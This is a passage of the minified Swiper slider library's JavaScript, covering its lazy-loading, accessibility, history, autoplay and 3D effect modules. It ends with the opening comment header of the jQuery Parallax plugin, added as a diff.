n?s(e).attr("data-swiper-slide-index"):s(e).index()}if("auto"===l&&(l=0),e.lazy.initialImageLoaded||(e.lazy.initialImageLoaded=!0),e.params.watchSlidesVisibility)t.children("."+i.slideVisibleClass).each(function(t,i){var a=n?s(i).attr("data-swiper-slide-index"):s(i).index();e.lazy.loadInSlide(a)});else if(l>1)for(var p=r;p<r+l;p+=1)d(p)&&e.lazy.loadInSlide(p);else e.lazy.loadInSlide(r);if(o.loadPrevNext)if(l>1||o.loadPrevNextAmount&&o.loadPrevNextAmount>1){for(var c=o.loadPrevNextAmount,u=l,v=Math.min(r+u+Math.max(c,u),a.length),f=Math.max(r-Math.max(u,c),0),m=r+l;m<v;m+=1)d(m)&&e.lazy.loadInSlide(m);for(var g=f;g<r;g+=1)d(g)&&e.lazy.loadInSlide(g)}else{var b=t.children("."+i.slideNextClass);b.length>0&&e.lazy.loadInSlide(h(b));var w=t.children("."+i.slidePrevClass);w.length>0&&e.lazy.loadInSlide(h(w))}}},q={LinearSpline:function(e,t){var i,s,a,r,n,o=function(e,t){for(s=-1,i=e.length;i-s>1;)e[a=i+s>>1]<=t?s=a:i=a;return i};return this.x=e,this.y=t,this.lastIndex=e.length-1,this.interpolate=function(e){return e?(n=o(this.x,e),r=n-1,(e-this.x[r])*(this.y[n]-this.y[r])/(this.x[n]-this.x[r])+this.y[r]):0},this},getInterpolateFunction:function(e){this.controller.spline||(this.controller.spline=this.params.loop?new q.LinearSpline(this.slidesGrid,e.slidesGrid):new q.LinearSpline(this.snapGrid,e.snapGrid))},setTranslate:function(e,t){var i,s,a=this,r=a.controller.control;function n(e){var t=a.rtlTranslate?-a.translate:a.translate;"slide"===a.params.controller.by&&(a.controller.getInterpolateFunction(e),s=-a.controller.spline.interpolate(-t)),s&&"container"!==a.params.controller.by||(i=(e.maxTranslate()-e.minTranslate())/(a.maxTranslate()-a.minTranslate()),s=(t-a.minTranslate())*i+e.minTranslate()),a.params.controller.inverse&&(s=e.maxTranslate()-s),e.updateProgress(s),e.setTranslate(s,a),e.updateActiveIndex(),e.updateSlidesClasses()}if(Array.isArray(r))for(var o=0;o<r.length;o+=1)r[o]!==t&&r[o]instanceof k&&n(r[o]);else r instanceof k&&t!==r&&n(r)},setTransition:function(e,t){var i,s=this,a=s.controller.control;function r(t){t.setTransition(e,s),0!==e&&(t.transitionStart(),t.$wrapperEl.transitionEnd(function(){a&&(t.params.loop&&"slide"===s.params.controller.by&&t.loopFix(),t.transitionEnd())}))}if(Array.isArray(a))for(i=0;i<a.length;i+=1)a[i]!==t&&a[i]instanceof k&&r(a[i]);else a instanceof k&&t!==a&&r(a)}},j={makeElFocusable:function(e){return e.attr("tabIndex","0"),e},addElRole:function(e,t){return e.attr("role",t),e},addElLabel:function(e,t){return e.attr("aria-label",t),e},disableEl:function(e){return e.attr("aria-disabled",!0),e},enableEl:function(e){return e.attr("aria-disabled",!1),e},onEnterKey:function(e){var t=this.params.a11y;if(13===e.keyCode){var i=s(e.target);this.navigation&&this.navigation.$nextEl&&i.is(this.navigation.$nextEl)&&(this.isEnd&&!this.params.loop||this.slideNext(),this.isEnd?this.a11y.notify(t.lastSlideMessage):this.a11y.notify(t.nextSlideMessage)),this.navigation&&this.navigation.$prevEl&&i.is(this.navigation.$prevEl)&&(this.isBeginning&&!this.params.loop||this.slidePrev(),this.isBeginning?this.a11y.notify(t.firstSlideMessage):this.a11y.notify(t.prevSlideMessage)),this.pagination&&i.is("."+this.params.pagination.bulletClass)&&i[0].click()}},notify:function(e){var t=this.a11y.liveRegion;0!==t.length&&(t.html(""),t.html(e))},updateNavigation:function(){if(!this.params.loop){var e=this.navigation,t=e.$nextEl,i=e.$prevEl;i&&i.length>0&&(this.isBeginning?this.a11y.disableEl(i):this.a11y.enableEl(i)),t&&t.length>0&&(this.isEnd?this.a11y.disableEl(t):this.a11y.enableEl(t))}},updatePagination:function(){var e=this,t=e.params.a11y;e.pagination&&e.params.pagination.clickable&&e.pagination.bullets&&e.pagination.bullets.length&&e.pagination.bullets.each(function(i,a){var r=s(a);e.a11y.makeElFocusable(r),e.a11y.addElRole(r,"button"),e.a11y.addElLabel(r,t.paginationBulletMessage.replace(/{{index}}/,r.index()+1))})},init:function(){this.$el.append(this.a11y.liveRegion);var e,t,i=this.params.a11y;this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&(this.a11y.makeElFocusable(e),this.a11y.addElRole(e,"button"),this.a11y.addElLabel(e,i.nextSlideMessage),e.on("keydown",this.a11y.onEnterKey)),t&&(this.a11y.makeElFocusable(t),this.a11y.addElRole(t,"button"),this.a11y.addElLabel(t,i.prevSlideMessage),t.on("keydown",this.a11y.onEnterKey)),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.on("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)},destroy:function(){var e,t;this.a11y.liveRegion&&this.a11y.liveRegion.length>0&&this.a11y.liveRegion.remove(),this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&e.off("keydown",this.a11y.onEnterKey),t&&t.off("keydown",this.a11y.onEnterKey),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.off("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)}},K={init:function(){if(this.params.history){if(!t.history||!t.history.pushState)return this.params.history.enabled=!1,void(this.params.hashNavigation.enabled=!0);var e=this.history;e.initialized=!0,e.paths=K.getPathValues(),(e.paths.key||e.paths.value)&&(e.scrollToSlide(0,e.paths.value,this.params.runCallbacksOnInit),this.params.history.replaceState||t.addEventListener("popstate",this.history.setHistoryPopState))}},destroy:function(){this.params.history.replaceState||t.removeEventListener("popstate",this.history.setHistoryPopState)},setHistoryPopState:function(){this.history.paths=K.getPathValues(),this.history.scrollToSlide(this.params.speed,this.history.paths.value,!1)},getPathValues:function(){var e=t.location.pathname.slice(1).split("/").filter(function(e){return""!==e}),i=e.length;return{key:e[i-2],value:e[i-1]}},setHistory:function(e,i){if(this.history.initialized&&this.params.history.enabled){var s=this.slides.eq(i),a=K.slugify(s.attr("data-history"));t.location.pathname.includes(e)||(a=e+"/"+a);var r=t.history.state;r&&r.value===a||(this.params.history.replaceState?t.history.replaceState({value:a},null,a):t.history.pushState({value:a},null,a))}},slugify:function(e){return e.toString().toLowerCase().replace(/\s+/g,"-").replace(/[^\w-]+/g,"").replace(/--+/g,"-").replace(/^-+/,"").replace(/-+$/,"")},scrollToSlide:function(e,t,i){if(t)for(var s=0,a=this.slides.length;s<a;s+=1){var r=this.slides.eq(s);if(K.slugify(r.attr("data-history"))===t&&!r.hasClass(this.params.slideDuplicateClass)){var n=r.index();this.slideTo(n,e,i)}}else this.slideTo(0,e,i)}},U={onHashCange:function(){var t=e.location.hash.replace("#","");t!==this.slides.eq(this.activeIndex).attr("data-hash")&&this.slideTo(this.$wrapperEl.children("."+this.params.slideClass+'[data-hash="'+t+'"]').index())},setHash:function(){if(this.hashNavigation.initialized&&this.params.hashNavigation.enabled)if(this.params.hashNavigation.replaceState&&t.history&&t.history.replaceState)t.history.replaceState(null,null,"#"+this.slides.eq(this.activeIndex).attr("data-hash")||"");else{var i=this.slides.eq(this.activeIndex),s=i.attr("data-hash")||i.attr("data-history");e.location.hash=s||""}},init:function(){if(!(!this.params.hashNavigation.enabled||this.params.history&&this.params.history.enabled)){this.hashNavigation.initialized=!0;var i=e.location.hash.replace("#","");if(i)for(var a=0,r=this.slides.length;a<r;a+=1){var n=this.slides.eq(a);if((n.attr("data-hash")||n.attr("data-history"))===i&&!n.hasClass(this.params.slideDuplicateClass)){var o=n.index();this.slideTo(o,0,this.params.runCallbacksOnInit,!0)}}this.params.hashNavigation.watchState&&s(t).on("hashchange",this.hashNavigation.onHashCange)}},destroy:function(){this.params.hashNavigation.watchState&&s(t).off("hashchange",this.hashNavigation.onHashCange)}},_={run:function(){var e=this,t=e.slides.eq(e.activeIndex),i=e.params.autoplay.delay;t.attr("data-swiper-autoplay")&&(i=t.attr("data-swiper-autoplay")||e.params.autoplay.delay),e.autoplay.timeout=d.nextTick(function(){e.params.autoplay.reverseDirection?e.params.loop?(e.loopFix(),e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.isBeginning?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(e.slides.length-1,e.params.speed,!0,!0),e.emit("autoplay")):(e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.params.loop?(e.loopFix(),e.slideNext(e.params.speed,!0,!0),e.emit("autoplay")):e.isEnd?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(0,e.params.speed,!0,!0),e.emit("autoplay")):(e.slideNext(e.params.speed,!0,!0),e.emit("autoplay"))},i)},start:function(){return void 0===this.autoplay.timeout&&(!this.autoplay.running&&(this.autoplay.running=!0,this.emit("autoplayStart"),this.autoplay.run(),!0))},stop:function(){return!!this.autoplay.running&&(void 0!==this.autoplay.timeout&&(this.autoplay.timeout&&(clearTimeout(this.autoplay.timeout),this.autoplay.timeout=void 0),this.autoplay.running=!1,this.emit("autoplayStop"),!0))},pause:function(e){var t=this;t.autoplay.running&&(t.autoplay.paused||(t.autoplay.timeout&&clearTimeout(t.autoplay.timeout),t.autoplay.paused=!0,0!==e&&t.params.autoplay.waitForTransition?t.$wrapperEl.transitionEnd(function(){t&&!t.destroyed&&(t.autoplay.paused=!1,t.autoplay.running?t.autoplay.run():t.autoplay.stop())}):(t.autoplay.paused=!1,t.autoplay.run())))}},Z={setTranslate:function(){for(var e=this.slides,t=0;t<e.length;t+=1){var i=this.slides.eq(t),s=-i[0].swiperSlideOffset;this.params.virtualTranslate||(s-=this.translate);var a=0;this.isHorizontal()||(a=s,s=0);var r=this.params.fadeEffect.crossFade?Math.max(1-Math.abs(i[0].progress),0):1+Math.min(Math.max(i[0].progress,-1),0);i.css({opacity:r}).transform("translate3d("+s+"px, "+a+"px, 0px)")}},setTransition:function(e){var t=this,i=t.slides,s=t.$wrapperEl;if(i.transition(e),t.params.virtualTranslate&&0!==e){var a=!1;i.transitionEnd(function(){if(!a&&t&&!t.destroyed){a=!0,t.animating=!1;for(var e=["webkitTransitionEnd","transitionend"],i=0;i<e.length;i+=1)s.trigger(e[i])}})}}},Q={setTranslate:function(){var e,t=this.$el,i=this.$wrapperEl,a=this.slides,r=this.width,n=this.height,o=this.rtlTranslate,l=this.size,d=this.params.cubeEffect,h=this.isHorizontal(),p=this.virtual&&this.params.virtual.enabled,c=0;d.shadow&&(h?(0===(e=i.find(".swiper-cube-shadow")).length&&(e=s('<div class="swiper-cube-shadow"></div>'),i.append(e)),e.css({height:r+"px"})):0===(e=t.find(".swiper-cube-shadow")).length&&(e=s('<div class="swiper-cube-shadow"></div>'),t.append(e)));for(var u=0;u<a.length;u+=1){var v=a.eq(u),f=u;p&&(f=parseInt(v.attr("data-swiper-slide-index"),10));var m=90*f,g=Math.floor(m/360);o&&(m=-m,g=Math.floor(-m/360));var b=Math.max(Math.min(v[0].progress,1),-1),w=0,y=0,x=0;f%4==0?(w=4*-g*l,x=0):(f-1)%4==0?(w=0,x=4*-g*l):(f-2)%4==0?(w=l+4*g*l,x=l):(f-3)%4==0&&(w=-l,x=3*l+4*l*g),o&&(w=-w),h||(y=w,w=0);var E="rotateX("+(h?0:-m)+"deg) rotateY("+(h?m:0)+"deg) translate3d("+w+"px, "+y+"px, "+x+"px)";if(b<=1&&b>-1&&(c=90*f+90*b,o&&(c=90*-f-90*b)),v.transform(E),d.slideShadows){var T=h?v.find(".swiper-slide-shadow-left"):v.find(".swiper-slide-shadow-top"),C=h?v.find(".swiper-slide-shadow-right"):v.find(".swiper-slide-shadow-bottom");0===T.length&&(T=s('<div class="swiper-slide-shadow-'+(h?"left":"top")+'"></div>'),v.append(T)),0===C.length&&(C=s('<div class="swiper-slide-shadow-'+(h?"right":"bottom")+'"></div>'),v.append(C)),T.length&&(T[0].style.opacity=Math.max(-b,0)),C.length&&(C[0].style.opacity=Math.max(b,0))}}if(i.css({"-webkit-transform-origin":"50% 50% -"+l/2+"px","-moz-transform-origin":"50% 50% -"+l/2+"px","-ms-transform-origin":"50% 50% -"+l/2+"px","transform-origin":"50% 50% -"+l/2+"px"}),d.shadow)if(h)e.transform("translate3d(0px, "+(r/2+d.shadowOffset)+"px, "+-r/2+"px) rotateX(90deg) rotateZ(0deg) scale("+d.shadowScale+")");else{var M=Math.abs(c)-90*Math.floor(Math.abs(c)/90),z=1.5-(Math.sin(2*M*Math.PI/360)/2+Math.cos(2*M*Math.PI/360)/2),k=d.shadowScale,P=d.shadowScale/z,$=d.shadowOffset;e.transform("scale3d("+k+", 1, "+P+") translate3d(0px, "+(n/2+$)+"px, "+-n/2/P+"px) rotateX(-90deg)")}var L=S.isSafari||S.isUiWebView?-l/2:0;i.transform("translate3d(0px,0,"+L+"px) rotateX("+(this.isHorizontal()?0:c)+"deg) rotateY("+(this.isHorizontal()?-c:0)+"deg)")},setTransition:function(e){var t=this.$el;this.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),this.params.cubeEffect.shadow&&!this.isHorizontal()&&t.find(".swiper-cube-shadow").transition(e)}},J={setTranslate:function(){for(var e=this.slides,t=this.rtlTranslate,i=0;i<e.length;i+=1){var a=e.eq(i),r=a[0].progress;this.params.flipEffect.limitRotation&&(r=Math.max(Math.min(a[0].progress,1),-1));var n=-180*r,o=0,l=-a[0].swiperSlideOffset,d=0;if(this.isHorizontal()?t&&(n=-n):(d=l,l=0,o=-n,n=0),a[0].style.zIndex=-Math.abs(Math.round(r))+e.length,this.params.flipEffect.slideShadows){var h=this.isHorizontal()?a.find(".swiper-slide-shadow-left"):a.find(".swiper-slide-shadow-top"),p=this.isHorizontal()?a.find(".swiper-slide-shadow-right"):a.find(".swiper-slide-shadow-bottom");0===h.length&&(h=s('<div class="swiper-slide-shadow-'+(this.isHorizontal()?"left":"top")+'"></div>'),a.append(h)),0===p.length&&(p=s('<div class="swiper-slide-shadow-'+(this.isHorizontal()?"right":"bottom")+'"></div>'),a.append(p)),h.length&&(h[0].style.opacity=Math.max(-r,0)),p.length&&(p[0].style.opacity=Math.max(r,0))}a.transform("translate3d("+l+"px, "+d+"px, 0px) rotateX("+o+"deg) rotateY("+n+"deg)")}},setTransition:function(e){var t=this,i=t.slides,s=t.activeIndex,a=t.$wrapperEl;if(i.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),t.params.virtualTranslate&&0!==e){var r=!1;i.eq(s).transitionEnd(function(){if(!r&&t&&!t.destroyed){r=!0,t.animating=!1;for(var e=["webkitTransitionEnd","transitionend"],i=0;i<e.length;i+=1)a.trigger(e[i])}})}}},ee={setTranslate:function(){for(var e=this.width,t=this.height,i=this.slides,a=this.$wrapperEl,r=this.slidesSizesGrid,n=this.params.coverflowEffect,o=this.isHorizontal(),l=this.translate,d=o?e/2-l:t/2-l,p=o?n.rotate:-n.rotate,c=n.depth,u=0,v=i.length;u<v;u+=1){var f=i.eq(u),m=r[u],g=(d-f[0].swiperSlideOffset-m/2)/m*n.modifier,b=o?p*g:0,w=o?0:p*g,y=-c*Math.abs(g),x=o?0:n.stretch*g,E=o?n.stretch*g:0;Math.abs(E)<.001&&(E=0),Math.abs(x)<.001&&(x=0),Math.abs(y)<.001&&(y=0),Math.abs(b)<.001&&(b=0),Math.abs(w)<.001&&(w=0);var T="translate3d("+E+"px,"+x+"px,"+y+"px)  rotateX("+w+"deg) rotateY("+b+"deg)";if(f.transform(T),f[0].style.zIndex=1-Math.abs(Math.round(g)),n.slideShadows){var S=o?f.find(".swiper-slide-shadow-left"):f.find(".swiper-slide-shadow-top"),C=o?f.find(".swiper-slide-shadow-right"):f.find(".swiper-slide-shadow-bottom");0===S.length&&(S=s('<div class="swiper-slide-shadow-'+(o?"left":"top")+'"></div>'),f.append(S)),0===C.length&&(C=s('<div class="swiper-slide-shadow-'+(o?"right":"bottom")+'"></div>'),f.append(C)),S.length&&(S[0].style.opacity=g>0?g:0),C.length&&(C[0].style.opacity=-g>0?-g:0)}}(h.pointerEvents||h.prefixedPointerEvents)&&(a[0].style.perspectiveOrigin=d+"px 50%")},setTransition:function(e){this.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e)}},te=[P,$,L,I,O,G,N,{name:"mousewheel",params:{mousewheel:{enabled:!1,releaseOnEdges:!1,invert:!1,forceToAxis:!1,sensitivity:1,eventsTarged:"container"}},create:function(){d.extend(this,{mousewheel:{enabled:!1,enable:B.enable.bind(this),disable:B.disable.bind(this),handle:B.handle.bind(this),handleMouseEnter:B.handleMouseEnter.bind(this),handleMouseLeave:B.handleMouseLeave.bind(this),lastScrollTime:d.now()}})},on:{init:function(){this.params.mousewheel.enabled&&this.mousewheel.enable()},destroy:function(){this.mousewheel.enabled&&this.mousewheel.disable()}}},{name:"navigation",params:{navigation:{nextEl:null,prevEl:null,hideOnClick:!1,disabledClass:"swiper-button-disabled",hiddenClass:"swiper-button-hidden",lockClass:"swiper-button-lock"}},create:function(){d.extend(this,{navigation:{init:X.init.bind(this),update:X.update.bind(this),destroy:X.destroy.bind(this)}})},on:{init:function(){this.navigation.init(),this.navigation.update()},toEdge:function(){this.navigation.update()},fromEdge:function(){this.navigation.update()},destroy:function(){this.navigation.destroy()},click:function(e){var t=this.navigation,i=t.$nextEl,a=t.$prevEl;!this.params.navigation.hideOnClick||s(e.target).is(a)||s(e.target).is(i)||(i&&i.toggleClass(this.params.navigation.hiddenClass),a&&a.toggleClass(this.params.navigation.hiddenClass))}}},{name:"pagination",params:{pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,bulletClass:"swiper-pagination-bullet",bulletActiveClass:"swiper-pagination-bullet-active",modifierClass:"swiper-pagination-",currentClass:"swiper-pagination-current",totalClass:"swiper-pagination-total",hiddenClass:"swiper-pagination-hidden",progressbarFillClass:"swiper-pagination-progressbar-fill",progressbarOppositeClass:"swiper-pagination-progressbar-opposite",clickableClass:"swiper-pagination-clickable",lockClass:"swiper-pagination-lock"}},create:function(){d.extend(this,{pagination:{init:Y.init.bind(this),render:Y.render.bind(this),update:Y.update.bind(this),destroy:Y.destroy.bind(this),dynamicBulletIndex:0}})},on:{init:function(){this.pagination.init(),this.pagination.render(),this.pagination.update()},activeIndexChange:function(){this.params.loop?this.pagination.update():void 0===this.snapIndex&&this.pagination.update()},snapIndexChange:function(){this.params.loop||this.pagination.update()},slidesLengthChange:function(){this.params.loop&&(this.pagination.render(),this.pagination.update())},snapGridLengthChange:function(){this.params.loop||(this.pagination.render(),this.pagination.update())},destroy:function(){this.pagination.destroy()},click:function(e){this.params.pagination.el&&this.params.pagination.hideOnClick&&this.pagination.$el.length>0&&!s(e.target).hasClass(this.params.pagination.bulletClass)&&this.pagination.$el.toggleClass(this.params.pagination.hiddenClass)}}},{name:"scrollbar",params:{scrollbar:{el:null,dragSize:"auto",hide:!1,draggable:!1,snapOnRelease:!0,lockClass:"swiper-scrollbar-lock",dragClass:"swiper-scrollbar-drag"}},create:function(){d.extend(this,{scrollbar:{init:V.init.bind(this),destroy:V.destroy.bind(this),updateSize:V.updateSize.bind(this),setTranslate:V.setTranslate.bind(this),setTransition:V.setTransition.bind(this),enableDraggable:V.enableDraggable.bind(this),disableDraggable:V.disableDraggable.bind(this),setDragPosition:V.setDragPosition.bind(this),onDragStart:V.onDragStart.bind(this),onDragMove:V.onDragMove.bind(this),onDragEnd:V.onDragEnd.bind(this),isTouched:!1,timeout:null,dragTimeout:null}})},on:{init:function(){this.scrollbar.init(),this.scrollbar.updateSize(),this.scrollbar.setTranslate()},update:function(){this.scrollbar.updateSize()},resize:function(){this.scrollbar.updateSize()},observerUpdate:function(){this.scrollbar.updateSize()},setTranslate:function(){this.scrollbar.setTranslate()},setTransition:function(e){this.scrollbar.setTransition(e)},destroy:function(){this.scrollbar.destroy()}}},{name:"parallax",params:{parallax:{enabled:!1}},create:function(){d.extend(this,{parallax:{setTransform:R.setTransform.bind(this),setTranslate:R.setTranslate.bind(this),setTransition:R.setTransition.bind(this)}})},on:{beforeInit:function(){this.params.parallax.enabled&&(this.params.watchSlidesProgress=!0)},init:function(){this.params.parallax&&this.parallax.setTranslate()},setTranslate:function(){this.params.parallax&&this.parallax.setTranslate()},setTransition:function(e){this.params.parallax&&this.parallax.setTransition(e)}}},{name:"zoom",params:{zoom:{enabled:!1,maxRatio:3,minRatio:1,toggle:!0,containerClass:"swiper-zoom-container",zoomedSlideClass:"swiper-slide-zoomed"}},create:function(){var e=this,t={enabled:!1,scale:1,currentScale:1,isScaling:!1,gesture:{$slideEl:void 0,slideWidth:void 0,slideHeight:void 0,$imageEl:void 0,$imageWrapEl:void 0,maxRatio:3},image:{isTouched:void 0,isMoved:void 0,currentX:void 0,currentY:void 0,minX:void 0,minY:void 0,maxX:void 0,maxY:void 0,width:void 0,height:void 0,startX:void 0,startY:void 0,touchesStart:{},touchesCurrent:{}},velocity:{x:void 0,y:void 0,prevPositionX:void 0,prevPositionY:void 0,prevTime:void 0}};"onGestureStart onGestureChange onGestureEnd onTouchStart onTouchMove onTouchEnd onTransitionEnd toggle enable disable in out".split(" ").forEach(function(i){t[i]=F[i].bind(e)}),d.extend(e,{zoom:t})},on:{init:function(){this.params.zoom.enabled&&this.zoom.enable()},destroy:function(){this.zoom.disable()},touchStart:function(e){this.zoom.enabled&&this.zoom.onTouchStart(e)},touchEnd:function(e){this.zoom.enabled&&this.zoom.onTouchEnd(e)},doubleTap:function(e){this.params.zoom.enabled&&this.zoom.enabled&&this.params.zoom.toggle&&this.zoom.toggle(e)},transitionEnd:function(){this.zoom.enabled&&this.params.zoom.enabled&&this.zoom.onTransitionEnd()}}},{name:"lazy",params:{lazy:{enabled:!1,loadPrevNext:!1,loadPrevNextAmount:1,loadOnTransitionStart:!1,elementClass:"swiper-lazy",loadingClass:"swiper-lazy-loading",loadedClass:"swiper-lazy-loaded",preloaderClass:"swiper-lazy-preloader"}},create:function(){d.extend(this,{lazy:{initialImageLoaded:!1,load:W.load.bind(this),loadInSlide:W.loadInSlide.bind(this)}})},on:{beforeInit:function(){this.params.lazy.enabled&&this.params.preloadImages&&(this.params.preloadImages=!1)},init:function(){this.params.lazy.enabled&&!this.params.loop&&0===this.params.initialSlide&&this.lazy.load()},scroll:function(){this.params.freeMode&&!this.params.freeModeSticky&&this.lazy.load()},resize:function(){this.params.lazy.enabled&&this.lazy.load()},scrollbarDragMove:function(){this.params.lazy.enabled&&this.lazy.load()},transitionStart:function(){this.params.lazy.enabled&&(this.params.lazy.loadOnTransitionStart||!this.params.lazy.loadOnTransitionStart&&!this.lazy.initialImageLoaded)&&this.lazy.load()},transitionEnd:function(){this.params.lazy.enabled&&!this.params.lazy.loadOnTransitionStart&&this.lazy.load()}}},{name:"controller",params:{controller:{control:void 0,inverse:!1,by:"slide"}},create:function(){d.extend(this,{controller:{control:this.params.controller.control,getInterpolateFunction:q.getInterpolateFunction.bind(this),setTranslate:q.setTranslate.bind(this),setTransition:q.setTransition.bind(this)}})},on:{update:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},resize:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},observerUpdate:function(){this.controller.control&&this.controller.spline&&(this.controller.spline=void 0,delete this.controller.spline)},setTranslate:function(e,t){this.controller.control&&this.controller.setTranslate(e,t)},setTransition:function(e,t){this.controller.control&&this.controller.setTransition(e,t)}}},{name:"a11y",params:{a11y:{enabled:!0,notificationClass:"swiper-notification",prevSlideMessage:"Previous slide",nextSlideMessage:"Next slide",firstSlideMessage:"This is the first slide",lastSlideMessage:"This is the last slide",paginationBulletMessage:"Go to slide {{index}}"}},create:function(){var e=this;d.extend(e,{a11y:{liveRegion:s('<span class="'+e.params.a11y.notificationClass+'" aria-live="assertive" aria-atomic="true"></span>')}}),Object.keys(j).forEach(function(t){e.a11y[t]=j[t].bind(e)})},on:{init:function(){this.params.a11y.enabled&&(this.a11y.init(),this.a11y.updateNavigation())},toEdge:function(){this.params.a11y.enabled&&this.a11y.updateNavigation()},fromEdge:function(){this.params.a11y.enabled&&this.a11y.updateNavigation()},paginationUpdate:function(){this.params.a11y.enabled&&this.a11y.updatePagination()},destroy:function(){this.params.a11y.enabled&&this.a11y.destroy()}}},{name:"history",params:{history:{enabled:!1,replaceState:!1,key:"slides"}},create:function(){d.extend(this,{history:{init:K.init.bind(this),setHistory:K.setHistory.bind(this),setHistoryPopState:K.setHistoryPopState.bind(this),scrollToSlide:K.scrollToSlide.bind(this),destroy:K.destroy.bind(this)}})},on:{init:function(){this.params.history.enabled&&this.history.init()},destroy:function(){this.params.history.enabled&&this.history.destroy()},transitionEnd:function(){this.history.initialized&&this.history.setHistory(this.params.history.key,this.activeIndex)}}},{name:"hash-navigation",params:{hashNavigation:{enabled:!1,replaceState:!1,watchState:!1}},create:function(){d.extend(this,{hashNavigation:{initialized:!1,init:U.init.bind(this),destroy:U.destroy.bind(this),setHash:U.setHash.bind(this),onHashCange:U.onHashCange.bind(this)}})},on:{init:function(){this.params.hashNavigation.enabled&&this.hashNavigation.init()},destroy:function(){this.params.hashNavigation.enabled&&this.hashNavigation.destroy()},transitionEnd:function(){this.hashNavigation.initialized&&this.hashNavigation.setHash()}}},{name:"autoplay",params:{autoplay:{enabled:!1,delay:3e3,waitForTransition:!0,disableOnInteraction:!0,stopOnLastSlide:!1,reverseDirection:!1}},create:function(){d.extend(this,{autoplay:{running:!1,paused:!1,run:_.run.bind(this),start:_.start.bind(this),stop:_.stop.bind(this),pause:_.pause.bind(this)}})},on:{init:function(){this.params.autoplay.enabled&&this.autoplay.start()},beforeTransitionStart:function(e,t){this.autoplay.running&&(t||!this.params.autoplay.disableOnInteraction?this.autoplay.pause(e):this.autoplay.stop())},sliderFirstMove:function(){this.autoplay.running&&(this.params.autoplay.disableOnInteraction?this.autoplay.stop():this.autoplay.pause())},destroy:function(){this.autoplay.running&&this.autoplay.stop()}}},{name:"effect-fade",params:{fadeEffect:{crossFade:!1}},create:function(){d.extend(this,{fadeEffect:{setTranslate:Z.setTranslate.bind(this),setTransition:Z.setTransition.bind(this)}})},on:{beforeInit:function(){if("fade"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"fade");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"fade"===this.params.effect&&this.fadeEffect.setTranslate()},setTransition:function(e){"fade"===this.params.effect&&this.fadeEffect.setTransition(e)}}},{name:"effect-cube",params:{cubeEffect:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94}},create:function(){d.extend(this,{cubeEffect:{setTranslate:Q.setTranslate.bind(this),setTransition:Q.setTransition.bind(this)}})},on:{beforeInit:function(){if("cube"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"cube"),this.classNames.push(this.params.containerModifierClass+"3d");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,resistanceRatio:0,spaceBetween:0,centeredSlides:!1,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"cube"===this.params.effect&&this.cubeEffect.setTranslate()},setTransition:function(e){"cube"===this.params.effect&&this.cubeEffect.setTransition(e)}}},{name:"effect-flip",params:{flipEffect:{slideShadows:!0,limitRotation:!0}},create:function(){d.extend(this,{flipEffect:{setTranslate:J.setTranslate.bind(this),setTransition:J.setTransition.bind(this)}})},on:{beforeInit:function(){if("flip"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"flip"),this.classNames.push(this.params.containerModifierClass+"3d");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};d.extend(this.params,e),d.extend(this.originalParams,e)}},setTranslate:function(){"flip"===this.params.effect&&this.flipEffect.setTranslate()},setTransition:function(e){"flip"===this.params.effect&&this.flipEffect.setTransition(e)}}},{name:"effect-coverflow",params:{coverflowEffect:{rotate:50,stretch:0,depth:100,modifier:1,slideShadows:!0}},create:function(){d.extend(this,{coverflowEffect:{setTranslate:ee.setTranslate.bind(this),setTransition:ee.setTransition.bind(this)}})},on:{beforeInit:function(){"coverflow"===this.params.effect&&(this.classNames.push(this.params.containerModifierClass+"coverflow"),this.classNames.push(this.params.containerModifierClass+"3d"),this.params.watchSlidesProgress=!0,this.originalParams.watchSlidesProgress=!0)},setTranslate:function(){"coverflow"===this.params.effect&&this.coverflowEffect.setTranslate()},setTransition:function(e){"coverflow"===this.params.effect&&this.coverflowEffect.setTransition(e)}}}];return void 0===k.use&&(k.use=k.Class.use,k.installModule=k.Class.installModule),k.use(te),k});
+//# sourceMappingURL=swiper.min.js.map
+
+
+/* jQuery Parallax
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+/*
+Plugin: jQuery Parallax
+Version 1.1.3
+Author: Ian Lunn
+Twitter: @IanLunn
+Author URL: http://www.ianlunn.co.uk/
